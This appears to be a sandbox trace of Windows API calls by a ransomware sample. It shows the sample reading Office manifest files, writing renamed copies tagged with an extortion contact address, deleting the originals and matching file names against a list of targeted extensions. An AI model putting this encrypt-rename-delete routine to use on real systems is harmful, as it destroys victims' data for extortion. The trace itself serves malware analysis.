	[0075.688] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.688] SetEndOfFile (hFile=0x360) returned 1
	[0075.688] CloseHandle (hObject=0x360) returned 1
	[0075.690] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.690] SetEndOfFile (hFile=0x364) returned 1
	[0075.691] CloseHandle (hObject=0x364) returned 1
	[0075.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0075.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1
	[0075.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.692] lstrlenW (lpString=".doc") returned 4
	[0075.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.692] lstrlenW (lpString=".docx") returned 5
	[0075.692] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.692] lstrlenW (lpString=".pdf") returned 4
	[0075.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.692] lstrlenW (lpString=".xls") returned 4
	[0075.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.692] lstrlenW (lpString=".xlsx") returned 5
	[0075.692] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.692] lstrlenW (lpString=".ppt") returned 4
	[0075.692] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.692] lstrlenW (lpString=".zip") returned 4
	[0075.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.692] lstrlenW (lpString=".rar") returned 4
	[0075.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.692] lstrlenW (lpString=".bz2") returned 4
	[0075.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.692] lstrlenW (lpString=".7z") returned 3
	[0075.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.692] lstrlenW (lpString=".dbf") returned 4
	[0075.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.692] lstrlenW (lpString=".1cd") returned 4
	[0075.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.693] lstrlenW (lpString=".jpg") returned 4
	[0075.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.693] lstrlenW (lpString=".doc") returned 4
	[0075.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString=".docx") returned 5
	[0075.693] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.693] lstrlenW (lpString=".pdf") returned 4
	[0075.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString=".xls") returned 4
	[0075.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString=".xlsx") returned 5
	[0075.693] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.693] lstrlenW (lpString=".ppt") returned 4
	[0075.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.693] lstrlenW (lpString=".zip") returned 4
	[0075.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.693] lstrlenW (lpString=".rar") returned 4
	[0075.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString=".bz2") returned 4
	[0075.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString=".7z") returned 3
	[0075.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.693] lstrlenW (lpString=".dbf") returned 4
	[0075.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.693] lstrlenW (lpString=".1cd") returned 4
	[0075.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0075.693] lstrlenW (lpString=".jpg") returned 4
	[0075.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.694] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.694] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53
	[0075.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.694] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=496513) returned 1
	[0075.694] CloseHandle (hObject=0x364) returned 1
	[0075.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0075.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0075.694] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.694] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0075.695] GetLastError () returned 0x0
	[0075.695] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x79381, lpOverlapped=0x0) returned 1
	[0075.706] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x79390, lpOverlapped=0x0) returned 1
	[0075.716] ReadFile (in: hFile=0x364, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.716] WriteFile (in: hFile=0x360, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.716] SetEndOfFile (hFile=0x360) returned 1
	[0075.716] CloseHandle (hObject=0x360) returned 1
	[0076.120] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.120] SetEndOfFile (hFile=0x364) returned 1
	[0076.125] CloseHandle (hObject=0x364) returned 1
	[0076.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0076.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1
	[0076.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.730] lstrlenW (lpString=".doc") returned 4
	[0076.730] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.730] lstrlenW (lpString=".docx") returned 5
	[0076.730] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.730] lstrlenW (lpString=".pdf") returned 4
	[0076.730] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.730] lstrlenW (lpString=".xls") returned 4
	[0076.730] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.730] lstrlenW (lpString=".xlsx") returned 5
	[0076.730] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.730] lstrlenW (lpString=".ppt") returned 4
	[0076.730] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.731] lstrlenW (lpString=".zip") returned 4
	[0076.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.731] lstrlenW (lpString=".rar") returned 4
	[0076.731] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString=".bz2") returned 4
	[0076.731] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString=".7z") returned 3
	[0076.731] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.731] lstrlenW (lpString=".dbf") returned 4
	[0076.731] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.731] lstrlenW (lpString=".1cd") returned 4
	[0076.731] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.731] lstrlenW (lpString=".jpg") returned 4
	[0076.731] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.731] lstrlenW (lpString=".doc") returned 4
	[0076.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString=".docx") returned 5
	[0076.731] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.731] lstrlenW (lpString=".pdf") returned 4
	[0076.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString=".xls") returned 4
	[0076.731] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.731] lstrlenW (lpString=".xlsx") returned 5
	[0076.731] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.732] lstrlenW (lpString=".ppt") returned 4
	[0076.732] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.732] lstrlenW (lpString=".zip") returned 4
	[0076.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.732] lstrlenW (lpString=".rar") returned 4
	[0076.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.732] lstrlenW (lpString=".bz2") returned 4
	[0076.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.732] lstrlenW (lpString=".7z") returned 3
	[0076.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.732] lstrlenW (lpString=".dbf") returned 4
	[0076.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.732] lstrlenW (lpString=".1cd") returned 4
	[0076.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0076.732] lstrlenW (lpString=".jpg") returned 4
	[0076.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.732] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0076.732] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53
	[0076.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0076.733] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1261) returned 1
	[0076.733] CloseHandle (hObject=0x300) returned 1
	[0076.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0076.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0076.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0076.733] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.733] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.734] GetLastError () returned 0x0
	[0076.734] ReadFile (in: hFile=0x300, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0076.736] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0076.756] ReadFile (in: hFile=0x300, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.756] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.756] SetEndOfFile (hFile=0x37c) returned 1
	[0076.756] CloseHandle (hObject=0x37c) returned 1
	[0076.757] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.757] SetEndOfFile (hFile=0x300) returned 1
	[0076.758] CloseHandle (hObject=0x300) returned 1
	[0076.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0076.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1
	[0076.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.758] lstrlenW (lpString=".doc") returned 4
	[0076.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString=".docx") returned 5
	[0076.759] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.759] lstrlenW (lpString=".pdf") returned 4
	[0076.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString=".xls") returned 4
	[0076.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString=".xlsx") returned 5
	[0076.759] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.759] lstrlenW (lpString=".ppt") returned 4
	[0076.759] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.759] lstrlenW (lpString=".zip") returned 4
	[0076.759] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.759] lstrlenW (lpString=".rar") returned 4
	[0076.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString=".bz2") returned 4
	[0076.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString=".7z") returned 3
	[0076.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.759] lstrlenW (lpString=".dbf") returned 4
	[0076.759] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.759] lstrlenW (lpString=".1cd") returned 4
	[0076.759] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.759] lstrlenW (lpString=".jpg") returned 4
	[0076.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.759] lstrlenW (lpString=".doc") returned 4
	[0076.759] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.759] lstrlenW (lpString=".docx") returned 5
	[0076.759] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.759] lstrlenW (lpString=".pdf") returned 4
	[0076.760] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.760] lstrlenW (lpString=".xls") returned 4
	[0076.760] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.760] lstrlenW (lpString=".xlsx") returned 5
	[0076.760] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.760] lstrlenW (lpString=".ppt") returned 4
	[0076.760] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.760] lstrlenW (lpString=".zip") returned 4
	[0076.760] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.760] lstrlenW (lpString=".rar") returned 4
	[0076.760] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.760] lstrlenW (lpString=".bz2") returned 4
	[0076.760] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.760] lstrlenW (lpString=".7z") returned 3
	[0076.760] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.760] lstrlenW (lpString=".dbf") returned 4
	[0076.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.760] lstrlenW (lpString=".1cd") returned 4
	[0076.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0076.760] lstrlenW (lpString=".jpg") returned 4
	[0076.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.760] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0076.760] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53
	[0076.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0076.761] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1261) returned 1
	[0076.761] CloseHandle (hObject=0x300) returned 1
	[0076.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0076.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
